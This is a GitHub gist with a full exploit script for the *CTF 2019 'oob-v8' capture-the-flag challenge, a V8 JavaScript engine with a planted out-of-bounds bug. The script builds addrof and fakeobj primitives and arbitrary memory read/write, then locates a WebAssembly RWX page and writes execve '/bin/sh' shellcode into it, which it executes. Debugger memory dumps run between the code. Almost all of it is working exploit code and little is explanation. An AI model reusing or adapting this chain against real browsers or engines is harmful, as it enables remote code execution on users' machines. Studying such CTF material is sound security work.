Last active
January 16, 2024 15:33
-
-
Save Xornet-Euphoria/1fc48bcb96d5c2e5d8becca0f910a474 to your computer and use it in GitHub Desktop.
*CTF 2019 - oob-v8
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// utility functions | |
// convert float64 <-> uint64 | |
let buf = new ArrayBuffer(8); | |
let float_buf = new Float64Array(buf); | |
let uint_buf = new BigUint64Array(buf); | |
function f2i(v) { | |
float_buf[0] = v; | |
return uint_buf[0]; | |
} | |
function i2f(v) { | |
uint_buf[0] = v; | |
return float_buf[0]; | |
} | |
// print utils | |
function hexPrint(v) { | |
console.log("0x" + v.toString(16)); | |
} | |
// -------------------------------------------------- | |
let tmp_obj = {X:1}; | |
let float_arr = [1.1]; | |
// fxxk v8 heap | |
// if this code is replaced to `obj_arr = [{X:1}]` | |
// maybe {X:1} will be allocated before obj_arr | |
let obj_arr = [tmp_obj]; // fxxk v8 heap | |
/* | |
- from x64.debug (but debug build interpreter checks the boundaries) | |
d8> %DebugPrint(obj_arr) | |
DebugPrint: 0x101fed78e3a1: [JSArray] | |
- map: 0x3cc433902f79 <Map(PACKED_ELEMENTS)> [FastProperties] | |
- prototype: 0x0d5329cd1111 <JSArray[0]> | |
- elements: 0x101fed78e389 <FixedArray[1]> [PACKED_ELEMENTS] | |
- length: 1 | |
- properties: 0x00e4ebf80c71 <FixedArray[0]> { | |
#length: 0x0fbd8fe001a9 <AccessorInfo> (const accessor descriptor) | |
} | |
- elements: 0x101fed78e389 <FixedArray[1]> { | |
0: 0x101fed78e301 <Object map = 0x3cc43390ab39> | |
} | |
------------------------------------------------- | |
pwndbg> x/16gx 0x101fed78e3a1-1 | |
0x101fed78e3a0: 0x00003cc433902f79 0x000000e4ebf80c71 | |
0x101fed78e3b0: 0x0000101fed78e389 0x0000000100000000 | |
0x101fed78e3c0: 0x000000e4ebf80941 0x0000000400000003 | |
0x101fed78e3d0: 0xdeadbeed29386428 0x000000e4ebf80941 | |
0x101fed78e3e0: 0x00000016e68fa846 0x7250677562654425 | |
0x101fed78e3f0: 0x616f6c6628746e69 0xdead297272615f74 | |
0x101fed78e400: 0x000000e4ebf802d1 0x0000000100000000 | |
0x101fed78e410: 0x00000d5329cdff6b 0x000000e4ebf80851 | |
pwndbg> x/16gx 0x101fed78e3a1-1-0x30 | |
0x101fed78e370: 0x000000e4ebf80c71 0x0000101fed78e351 | |
0x101fed78e380: 0x0000000100000000 0x000000e4ebf80801 | |
0x101fed78e390: 0x0000000100000000 0x0000101fed78e301 <- elements[0] | |
0x101fed78e3a0: 0x00003cc433902f79 0x000000e4ebf80c71 <- elements[1] and element[2] | |
0x101fed78e3b0: 0x0000101fed78e389 0x0000000100000000 | |
0x101fed78e3c0: 0x000000e4ebf80941 0x0000000400000003 | |
0x101fed78e3d0: 0xdeadbeed29386428 0x000000e4ebf80941 | |
0x101fed78e3e0: 0x00000016e68fa846 0x7250677562654425 | |
pwndbg> | |
*/ | |
let float_map = float_arr.oob(); | |
let obj_map = obj_arr.oob(); | |
// addrof | |
function addrof(obj) { | |
obj_arr[0] = obj; | |
obj_arr.oob(float_map); | |
let v = obj_arr[0]; | |
obj_arr.oob(obj_map); | |
return f2i(v); | |
} | |
// fakeobj | |
// addr: address of array that includes float64 as bytes | |
function fakeobj(addr) { | |
float_arr[0] = i2f(addr); | |
float_arr.oob(obj_map); | |
let fake = float_arr[0] | |
float_arr.oob(float_map); | |
return fake; | |
} | |
/* | |
$ ./d8 --shell --allow-natives-syntax exploit.js | |
V8 version 7.5.0 (candidate) | |
d8> addrof(fake_arr) | |
46866547141369n | |
d8> %DebugPrint(fake_arr) | |
0x2a9ff7e4eaf9 <JSArray[4]> | |
[9.9, 10.1, 11.11, 12.12] | |
d8> | |
pwndbg> x/16gx 0x2a9ff7e4eaf9-1 | |
0x2a9ff7e4eaf8: 0x0000373223342ed9 0x00003a2520880c71 | |
0x2a9ff7e4eb08: 0x00002a9ff7e4eac9 0x0000000400000000 <- elements and length(?) | |
0x2a9ff7e4eb18: 0x00003a2520880941 0x0000000400000003 | |
0x2a9ff7e4eb28: 0x0000000029386428 0x00003a2520880941 | |
0x2a9ff7e4eb38: 0x000000103a76c8b6 0x6628666f72646461 | |
0x2a9ff7e4eb48: 0x297272615f656b61 0x00003a25208802d1 | |
0x2a9ff7e4eb58: 0x0000000100000000 0x00002c43bde20303 | |
0x2a9ff7e4eb68: 0x00003a2520880851 0x0000000400000000 | |
pwndbg> x/16gx 0x2a9ff7e4eaf9-1-0x30 | |
0x2a9ff7e4eac8: 0x00003a25208814f9 0x0000000400000000 | |
0x2a9ff7e4ead8: 0x4023cccccccccccd 0x4024333333333333 <- elements[0] and elements[1] | |
0x2a9ff7e4eae8: 0x40263851eb851eb8 0x40283d70a3d70a3d | |
0x2a9ff7e4eaf8: 0x0000373223342ed9 0x00003a2520880c71 | |
0x2a9ff7e4eb08: 0x00002a9ff7e4eac9 0x0000000400000000 | |
0x2a9ff7e4eb18: 0x00003a2520880941 0x0000000400000003 | |
0x2a9ff7e4eb28: 0x0000000029386428 0x00003a2520880941 | |
0x2a9ff7e4eb38: 0x000000103a76c8b6 0x6628666f72646461 | |
pwndbg> | |
*/ | |
// fake_arr[3]: length (0x10000000 as float64) | |
let fake_arr = [float_map, 10.10, 11.11, 1.2882297539194267e-231]; | |
let fake_addr = addrof(fake_arr); | |
// array of float64 | |
let aarw_arr = fakeobj(fake_addr - 0x30n + 0x10n); | |
function aar(addr) { | |
fake_arr[2] = i2f(addr-0x10n); | |
return f2i(aarw_arr[0]); | |
} | |
// worked only for address in v8 heap? | |
// not worked for RWX (SIGSEGV) | |
function aaw(addr, v) { | |
fake_arr[2] = i2f(addr-0x10n); | |
aarw_arr[0] = i2f(v); | |
} | |
/* | |
pwndbg> vmmap | |
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA | |
Start End Perm Size Offset File | |
0x4b5f3858000 0x4b5f3860000 rw-p 8000 0 [anon_4b5f3858] | |
0x704561c0000 0x70456200000 rw-p 40000 0 [anon_704561c0] | |
0xa0676791000 0xa06767c0000 ---p 2f000 0 [anon_a0676791] | |
0xa06767c0000 0xa06767c1000 rw-p 1000 0 [anon_a06767c0] | |
0xa06767c1000 0xa06767c2000 ---p 1000 0 [anon_a06767c1] | |
0xa06767c2000 0xa06767e7000 r-xp 25000 0 [anon_a06767c2] | |
0xa06767e7000 0xa06767ff000 ---p 18000 0 [anon_a06767e7] | |
0xa06767ff000 0xa0676800000 ---p 1000 0 [anon_a06767ff] | |
0xa0676800000 0xa0676801000 rw-p 1000 0 [anon_a0676800] | |
0xa0676801000 0xa0676802000 ---p 1000 0 [anon_a0676801] | |
0xa0676802000 0xa067683f000 r-xp 3d000 0 [anon_a0676802] | |
0xa067683f000 0xa067e791000 ---p 7f52000 0 [anon_a067683f] | |
0x1401b92c0000 0x1401b9300000 rw-p 40000 0 [anon_1401b92c0] | |
0x18e08ca40000 0x18e08ca5e000 rw-p 1e000 0 [anon_18e08ca40] | |
0x1a805d2c0000 0x1a805d300000 rw-p 40000 0 [anon_1a805d2c0] | |
0x1d09c5500000 0x1d09c5540000 rw-p 40000 0 [anon_1d09c5500] | |
0x261810a00000 0x261810a40000 r--p 40000 0 [anon_261810a00] | |
0x2c2ad0140000 0x2c2ad0141000 rwxp 1000 0 [anon_2c2ad0140] <- cake | |
*/ | |
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); | |
let wasm_mod = new WebAssembly.Module(wasm_code); | |
let wasm_instance = new WebAssembly.Instance(wasm_mod); | |
let f = wasm_instance.exports.main; | |
let rwx_addr = aar(addrof(wasm_instance) + 0x88n); | |
hexPrint(rwx_addr) | |
let aaw_buf = new ArrayBuffer(0x400); | |
let dv = new DataView(aaw_buf); | |
let backing_store_addr = addrof(aaw_buf) + 0x20n; | |
aaw(backing_store_addr, rwx_addr) | |
let shellcode = [72, 49, 210, 82, 72, 184, 47, 98, 105, 110, 47, 47, 115, 104, 80, 72, 137, 231, 82, 87, 72, 137, 230, 72, 141, 66, 59, 15, 5] | |
for (let i = 0; i < shellcode.length; i++) { | |
dv.setUint8(i, shellcode[i]); | |
} | |
// Win!! | |
f(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment